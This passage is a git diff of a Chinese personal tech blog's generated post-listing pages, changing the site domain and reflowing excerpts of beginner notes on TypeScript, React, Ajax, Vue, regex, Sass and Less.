x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a></div><h1>Posts</h1></header><article class=post-entry><header class=entry-header><h2>TypeScript学习笔记</h2></header><div class=entry-content><p>TypeScript设计目标是开发大型项目，编译成纯JavaScript，让其可以运行在任何浏览器上
 TypeScript可以增强IDE的交互和反馈，主流IDE都支持TypeScript
 TypeScript实质上就是JavaScript的扩展，JavaScript超集
 TypeScript具备类型检查，静态类型，JSnext属性和方法，以及还在提案阶段的语法（例如装饰器）
@@ -34,13 +34,13 @@
 boolean布尔值，例如：
 let hallo: boolean = true
 number数值，例如：
-let hallo: number = 123;...</p></div><footer class=entry-footer><span title='2021-07-18 15:50:00 +0000 UTC'>2021-07-18</span>&nbsp;·&nbsp;10 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to TypeScript学习笔记" href=https://xiaochenabc123.github.io/posts/58/></a></article><article class=post-entry><header class=entry-header><h2>简单了解MVC，MVP和MVVM之间的不同与联系</h2></header><div class=entry-content><p>MVC（Model-View-Controller）分别为View（视图，用户界面），Model（模型，数据保存），Controller（控制器，逻辑）
+let hallo: number = 123;...</p></div><footer class=entry-footer><span title='2021-07-18 15:50:00 +0000 UTC'>2021-07-18</span>&nbsp;·&nbsp;10 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to TypeScript学习笔记" href=https://chenjunlinabc.github.io/posts/58/></a></article><article class=post-entry><header class=entry-header><h2>简单了解MVC，MVP和MVVM之间的不同与联系</h2></header><div class=entry-content><p>MVC（Model-View-Controller）分别为View（视图，用户界面），Model（模型，数据保存），Controller（控制器，逻辑）
 视图层发指令（Dom事件）给控制器，控制器完成逻辑处理，请求模型改变状态，模型将最新的数据发送给视图，得到反馈，各个之间通信是单向的
 也可以Controller接受指令，要求模型改变状态，模型将最新的数据发送给视图
 MVP（Model-View-Presenter）实质是就是将Controller（控制器，逻辑）改为Presenter（从模型中获取数据，并且提供数据给视图）
 各个通信之间是双向的，视图和模型并不联系，通过Presenter进行传递，全部逻辑都在Presenter进行处理
 MVVM（Model-View-ViewModel）实质上就是MVC的改进版，和MVP模式基本一致，不过MVVM采用了双向绑定，视图变化，自动反映在ViewModel中
-在前端中Model是用json表示，将Model和View关联起来的是ViewModel，Mode数据可以显示到View中，也可以将View修改回Mode</p></div><footer class=entry-footer><span title='2021-07-09 22:50:00 +0000 UTC'>2021-07-09</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单了解MVC，MVP和MVVM之间的不同与联系" href=https://xiaochenabc123.github.io/posts/56/></a></article><article class=post-entry><header class=entry-header><h2>React学习笔记</h2></header><div class=entry-content><p>React是构造用户界面的JavaScript库，就是负责视图层的，只负责视图的渲染，其特点是声明式，组件化
+在前端中Model是用json表示，将Model和View关联起来的是ViewModel，Mode数据可以显示到View中，也可以将View修改回Mode</p></div><footer class=entry-footer><span title='2021-07-09 22:50:00 +0000 UTC'>2021-07-09</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单了解MVC，MVP和MVVM之间的不同与联系" href=https://chenjunlinabc.github.io/posts/56/></a></article><article class=post-entry><header class=entry-header><h2>React学习笔记</h2></header><div class=entry-content><p>React是构造用户界面的JavaScript库，就是负责视图层的，只负责视图的渲染，其特点是声明式，组件化
 安装react
 npm i react react-dom
 必需：react和react-dom
@@ -49,57 +49,21 @@
 通常还需要导入babel来解析jsx（注意：在浏览器使用babel编译jsx效率很低，babel内嵌了对于jsx的支持），babel可以将es6语法转化为es5，方便运行在不支持es6的浏览器上
 也可以通过引入src文件的方式引入cdn文件或者本地文件
 第一个例子
-&lt;script type="text/babel">
-ReactDOM.render(
-&lt;h1>hallo,react!!!&lt;/h1>,
-document.getElementById("app")
-);
-&lt;/script>
-使用babel解析jsx，react官方推荐使用jsx，因为使用jsx渲染dom简单明了
+&lt;script type="text/babel"> ReactDOM.render( &lt;h1>hallo,react!!!&lt;/h1>, document.getElementById("app") ); &lt;/script> 使用babel解析jsx，react官方推荐使用jsx，因为使用jsx渲染dom简单明了
 jsx是一种JavaScript语法扩展，例如：
-const hallo = &lt;h1>hallo&lt;/h1>;
-像上面这种就是jsx，jsx本身是一个表达式，经过编译（例如babel）后jsx表达式会转换成JavaScript对象（注意：jsx不是标准的ECMAScript语法，是语法的扩展，不进行编译处理，直接使用是会报错的）
+const hallo = &lt;h1>hallo&lt;/h1>; 像上面这种就是jsx，jsx本身是一个表达式，经过编译（例如babel）后jsx表达式会转换成JavaScript对象（注意：jsx不是标准的ECMAScript语法，是语法的扩展，不进行编译处理，直接使用是会报错的）
 在jsx中插入JavaScript表达式，用大括号包含起来，例如：
-function hallo(yes){
-return yes.name;
-}
-const yes = {
-name: "react"
-};
-const hallo = &lt;h1>hallo,{hallo(yes)}&lt;/h1>;
-ReactDOM.render(
-hallo,
-document.getElementById("app")
-);
-当然react并没有强制要求必须使用jsx，例如：
-const hallo = React.createElement("h1",{class: "main"},React.createElement("p",null,"hallo word!!!"))
-/* 上面提供了三个参数，分别是元素名称，元素属性，元素的子节点 */
-ReactDOM.render(hallo,document.getElementById("app"))
-/* 上面提供了个两个参数，分别是要渲染的react元素，挂载点*/
-react脚手架
+function hallo(yes){ return yes.name; } const yes = { name: "react" }; const hallo = &lt;h1>hallo,{hallo(yes)}&lt;/h1>; ReactDOM.render( hallo, document.getElementById("app") ); 当然react并没有强制要求必须使用jsx，例如：
+const hallo = React.createElement("h1",{class: "main"},React.createElement("p",null,"hallo word!!!")) /* 上面提供了三个参数，分别是元素名称，元素属性，元素的子节点 */ ReactDOM.render(hallo,document.getElementById("app")) /* 上面提供了个两个参数，分别是要渲染的react元素，挂载点*/ react脚手架
 初始化项目
 npx create-react-app app
 启动项目（在项目根目录执行）
 npm start或者yarn start
-模块化导入react...</p></div><footer class=entry-footer><span title='2021-07-09 22:23:00 +0000 UTC'>2021-07-09</span>&nbsp;·&nbsp;6 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to React学习笔记" href=https://xiaochenabc123.github.io/posts/55/></a></article><article class=post-entry><header class=entry-header><h2>Ajax学习笔记</h2></header><div class=entry-content><p>ajax是浏览器提供的一套方法，可以实现页面无刷新更新数据
+模块化导入react...</p></div><footer class=entry-footer><span title='2021-07-09 22:23:00 +0000 UTC'>2021-07-09</span>&nbsp;·&nbsp;6 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to React学习笔记" href=https://chenjunlinabc.github.io/posts/55/></a></article><article class=post-entry><header class=entry-header><h2>Ajax学习笔记</h2></header><div class=entry-content><p>ajax是浏览器提供的一套方法，可以实现页面无刷新更新数据
 关于XMLHttpRequest对象（构造函数）的用法：https://xiaochenabc123.test.com/archives/14.html
 ajax需要网站环境下生效，需要web服务器，nodemon
 app.js
-// 导入express
-const express = require("express");
-// 导入path
-const patg = require("path");
-// 创建web服务器
-const app = express();
-// 静态资源访问服务
-app.use(express.static(path.join(__dirname,"public")));
-app.get("/hallo",(req, res) = >{
-res.send("hallo");
-});
-// 监听端口
-app.listen(3000);
-console.log("服务器启动成功")
-nodemon app.js
+// 导入express const express = require("express"); // 导入path const patg = require("path"); // 创建web服务器 const app = express(); // 静态资源访问服务 app.use(express.static(path.join(__dirname,"public"))); app.get("/hallo",(req, res) = >{ res.send("hallo"); }); // 监听端口 app.listen(3000); console.log("服务器启动成功") nodemon app.js
 ajax运行原理
 ajax代理浏览器发送请求和接收响应，达到局部更新页面数据的效果
 创建ajax对象
@@ -109,17 +73,10 @@
 发送请求
 hallo.send();
 获取服务端给予客户端的响应数据，因为请求和获取数据的速度取决于网络速度，应该设置onload事件，当加载完毕了再获取数据
-hallo.onload = function(){
-console.log(hallo.responseText)
-}
-服务端大部分情况下用json对象作为响应数据的格式，通过拼接json数据和html，将拼接的结果显示在页面中
+hallo.onload = function(){ console.log(hallo.responseText) } 服务端大部分情况下用json对象作为响应数据的格式，通过拼接json数据和html，将拼接的结果显示在页面中
 在http请求与响应的过程中，请求参数或者响应内容，如果是对象类型，最后都会转换为对象字符串进行传输，例如：
-app.get("/hallo",(req, res) = >{
-res.send({"name" : "root"});
-});
-json字符串转换为json对象
-var responseText = JSON.parse(hallo.responseText);
-console....</p></div><footer class=entry-footer><span title='2021-07-03 15:30:00 +0000 UTC'>2021-07-03</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Ajax学习笔记" href=https://xiaochenabc123.github.io/posts/54/></a></article><article class=post-entry><header class=entry-header><h2>深入学习vue组件</h2></header><div class=entry-content><p>组件注册
+app.get("/hallo",(req, res) = >{ res.send({"name" : "root"}); }); json字符串转换为json对象
+var responseText = JSON.parse(hallo.responseText); console....</p></div><footer class=entry-footer><span title='2021-07-03 15:30:00 +0000 UTC'>2021-07-03</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Ajax学习笔记" href=https://chenjunlinabc.github.io/posts/54/></a></article><article class=post-entry><header class=entry-header><h2>深入学习vue组件</h2></header><div class=entry-content><p>组件注册
 .component()接收2个参数，其中第一个参数是组件名（数据类型是字符串）
 组件名命名：
 全部小写，多个单词用连字符连接（-减号）
@@ -127,45 +84,17 @@
 组件被引用时，也必须是相同的名，例如：组件名是img-data，那么被引用时标签为，闭不闭合看组件的定义，如果组件的定义是img之类的，就不需要闭合
 直接暴露在vue实例的组件都是全局组件，可以直接在组件实例中调用
 局部组件是使用一个JavaScript对象进行定义封装，例如：
-&lt;div id="app">
-&lt;datas-a>&lt;/datas-a>
-&lt;/div>
-&lt;script>
-const datas ={
-template: `
-&lt;div>
-hallo
-&lt;/div>
-`
-}
-const hallo = Vue.createApp({
-components: {
-"datas-a" : datas
-}
-}).mount('#app')
-&lt;/script>
-components对象，键为自定义元素的名称，值为组件的实质对象
+&lt;div id="app"> &lt;datas-a>&lt;/datas-a> &lt;/div> &lt;script> const datas ={ template: ` &lt;div> hallo &lt;/div> ` } const hallo = Vue.createApp({ components: { "datas-a" : datas } }).mount('#app') &lt;/script> components对象，键为自定义元素的名称，值为组件的实质对象
 局部组件的属性是不能直接被调用的，但是可以在另一个组件中指向其为自己的子组件，例如：
-const datab ={
-components: {
-"datas-a" : dataa
-}
-}
-模块系统
+const datab ={ components: { "datas-a" : dataa } } 模块系统
 通过导入模块的方式导入组件，例如：
 import datas from ‘./datas’
 那么datas组件就是可以在当前使用了
 Props
 prop类型
 用对象的方式列出prop，并且定义其类型，当传入的prop类型不对就会报错（开发版本），例如：
-const hallo = Vue.createApp({
-component: {
-props:{
-abc: String,
-xyz: Boolean,
-},
-template: `&lt;h1>{{abc....</p></div><footer class=entry-footer><span title='2021-07-03 11:16:00 +0000 UTC'>2021-07-03</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 深入学习vue组件" href=https://xiaochenabc123.github.io/posts/53/></a></article><footer class=page-footer><nav class=pagination><a class=prev href=https://xiaochenabc123.github.io/posts/page/15/>«&nbsp;Prev&nbsp;</a>
-<a class=next href=https://xiaochenabc123.github.io/posts/page/17/>Next&nbsp;&nbsp;»</a></nav></footer></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+const hallo = Vue.createApp({ component: { props:{ abc: String, xyz: Boolean, }, template: `&lt;h1>{{abc....</p></div><footer class=entry-footer><span title='2021-07-03 11:16:00 +0000 UTC'>2021-07-03</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 深入学习vue组件" href=https://chenjunlinabc.github.io/posts/53/></a></article><footer class=page-footer><nav class=pagination><a class=prev href=https://chenjunlinabc.github.io/posts/page/15/>«&nbsp;Prev&nbsp;</a>
+<a class=next href=https://chenjunlinabc.github.io/posts/page/17/>Next&nbsp;&nbsp;»</a></nav></footer></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git a/posts/page/17/index.html b/posts/page/17/index.html
index 9b6c535c..725fdb01 100644
--- a/posts/page/17/index.html
+++ b/posts/page/17/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>Posts | 小陈的个人博客</title><meta name=keywords content><meta name=description content="Posts - 小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/posts/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/posts/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="Posts"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/posts/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="Posts"><meta name=twitter:description content="小陈的个人博客"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://xiaochenabc123.github.io/posts/"}]}</script></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a></div><h1>Posts</h1></header><article class=post-entry><header class=entry-header><h2>正则表达式学习笔记</h2></header><div class=entry-content><p>正则表达式（Regular Expression）是用于匹配字符串中字符组合的模式，在JavaScript中，正则表达式也是对象
+<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>Posts | 小陈的个人博客</title><meta name=keywords content><meta name=description content="Posts - 小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/posts/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/posts/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="Posts"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/posts/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="Posts"><meta name=twitter:description content="小陈的个人博客"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://chenjunlinabc.github.io/posts/"}]}</script></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a></div><h1>Posts</h1></header><article class=post-entry><header class=entry-header><h2>正则表达式学习笔记</h2></header><div class=entry-content><p>正则表达式（Regular Expression）是用于匹配字符串中字符组合的模式，在JavaScript中，正则表达式也是对象
 JavaScript创建正则表达式
 使用RegExp对象创建
 var hallo = new RegExp(/123/);
@@ -32,7 +32,7 @@
 var hallo = /^[^a-z]$/;
 在方括号内部加^，就是代表取反，不能包含a到z其中的一个字母
 量词符（*，+，?）
-var hallo = /a*/;...</p></div><footer class=entry-footer><span title='2021-07-02 18:12:00 +0000 UTC'>2021-07-02</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 正则表达式学习笔记" href=https://xiaochenabc123.github.io/posts/52/></a></article><article class=post-entry><header class=entry-header><h2>CSS预处理器-Sass学习笔记</h2></header><div class=entry-content><p>sass是一门css扩展语言，css预处理器
+var hallo = /a*/;...</p></div><footer class=entry-footer><span title='2021-07-02 18:12:00 +0000 UTC'>2021-07-02</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 正则表达式学习笔记" href=https://chenjunlinabc.github.io/posts/52/></a></article><article class=post-entry><header class=entry-header><h2>CSS预处理器-Sass学习笔记</h2></header><div class=entry-content><p>sass是一门css扩展语言，css预处理器
 sass是基于ruby语言开发，在前端中可以使用npm安装
 npm install node-sass或者npm install node-sass –save-dev
 当然也可以安装ruby，通过gem托管服务进行安装sass
@@ -62,22 +62,10 @@
 第二种注释，不会编译到编译后的css文件中
 第三种注释，是表示重要注释，就算就是压缩编译，也会保留这个注释，一般用来声明版权
 变量
-$color: #ccc;
-#app{
-color: $color;
-}
-变量也可以嵌套到属性中
-$right: right;
-#app{
-margin-#{$right}: 50px;
-}
-运算
+$color: #ccc; #app{ color: $color; } 变量也可以嵌套到属性中
+$right: right; #app{ margin-#{$right}: 50px; } 运算
 允许使用加减乘除运算
-#app{
-width: 100px + 20px;
-height: (300px / 3) * 2;
-}
-嵌套，嵌套一般用在有同一个父元素（祖先元素）下，例如：...</p></div><footer class=entry-footer><span title='2021-07-02 08:44:00 +0000 UTC'>2021-07-02</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to CSS预处理器-Sass学习笔记" href=https://xiaochenabc123.github.io/posts/51/></a></article><article class=post-entry><header class=entry-header><h2>CSS预处理器-Less学习笔记</h2></header><div class=entry-content><p>less是一门css扩展语言，是css预处理器，扩展了css的动态特性，在css语法基础上引入了变量，混合，运算和函数等功能
+#app{ width: 100px + 20px; height: (300px / 3) * 2; } 嵌套，嵌套一般用在有同一个父元素（祖先元素）下，例如：...</p></div><footer class=entry-footer><span title='2021-07-02 08:44:00 +0000 UTC'>2021-07-02</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to CSS预处理器-Sass学习笔记" href=https://chenjunlinabc.github.io/posts/51/></a></article><article class=post-entry><header class=entry-header><h2>CSS预处理器-Less学习笔记</h2></header><div class=entry-content><p>less是一门css扩展语言，是css预处理器，扩展了css的动态特性，在css语法基础上引入了变量，混合，运算和函数等功能
 常见的css预处理器有sass，less，stylus
 less开发手册：https://less.bootcss.com/
 安装less
@@ -99,11 +87,7 @@
 不能以数字开头
 大小写敏感
 例如：
-@color: #ccc;
-#app{
-background-color: @color;
-}
-less编译
+@color: #ccc; #app{ background-color: @color; } less编译
 less提供了一个解析器，通过解析器，编译成css文件
 例如：
 npm
@@ -113,25 +97,8 @@
 vsc插件：Easy LESS（修改保存就自动编译成css文件）
 less嵌套
 子元素嵌套到父元素上（后代选择器）
-#app{
-width: 100px;
-div{
-width: 60px;
-}
-}
-伪类或者伪元素选择之类的，需要加&连接起来，不加则认为是后代
-#app{
-width: 100px;
-a{
-color: #000;
-&:hover{
-color: @color;
-}
-&::before{
-width: 30px;
-}
-} }
-less运算...</p></div><footer class=entry-footer><span title='2021-07-01 15:31:00 +0000 UTC'>2021-07-01</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to CSS预处理器-Less学习笔记" href=https://xiaochenabc123.github.io/posts/50/></a></article><article class=post-entry><header class=entry-header><h2>数据结构与算法学习笔记</h2></header><div class=entry-content><p>根据于小甲鱼大佬的数据结构与算法教程而 ~~ 写 ~~ 抄的笔记
+#app{ width: 100px; div{ width: 60px; } } 伪类或者伪元素选择之类的，需要加&连接起来，不加则认为是后代
